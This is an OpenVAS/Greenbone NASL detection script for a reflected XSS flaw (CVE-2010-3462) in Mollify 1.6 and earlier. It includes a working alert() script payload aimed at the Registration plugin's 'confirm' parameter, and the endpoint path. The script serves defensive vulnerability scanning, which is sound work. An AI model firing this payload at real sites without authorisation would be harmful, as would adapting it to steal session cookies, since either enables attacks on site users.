Mollify <= 1.6 XSS Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100806");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-09-16 16:08:48 +0200 (Thu, 16 Sep 2010)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2010-3462");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Mollify <= 1.6 XSS Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Mollify is prone to a cross-site scripting (XSS) vulnerability
  because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary
  JavaScript code in the browser of an unsuspecting user in the context of the affected site. This
  may allow the attacker to steal cookie-based authentication credentials and to launch other
  attacks.");

  script_tag(name:"affected", value:"Mollify version 1.6 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/43262");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( !http_can_host_php( port:port ) )
  exit(0);

vt_strings = get_vt_strings();

foreach dir( make_list_unique( "/mollify", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  res = http_get_cache( port:port, item:dir + "/backend/plugin/Registration/index.php" );
  if( res !~ "^HTTP/1\.[01] 200" )
    continue;

  url = dir + "/backend/plugin/Registration/index.php?confirm=%3Cscript%3Ealert(%27" +
        vt_strings["lowercase"] + "%27)%3C/script%3E";

  if( http_vuln_check( port:port, url:url, pattern:"<script>alert\('" + vt_strings["lowercase"] + "'\)</script>",
                       check_header:TRUE, extra_check:"Confirmation" ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );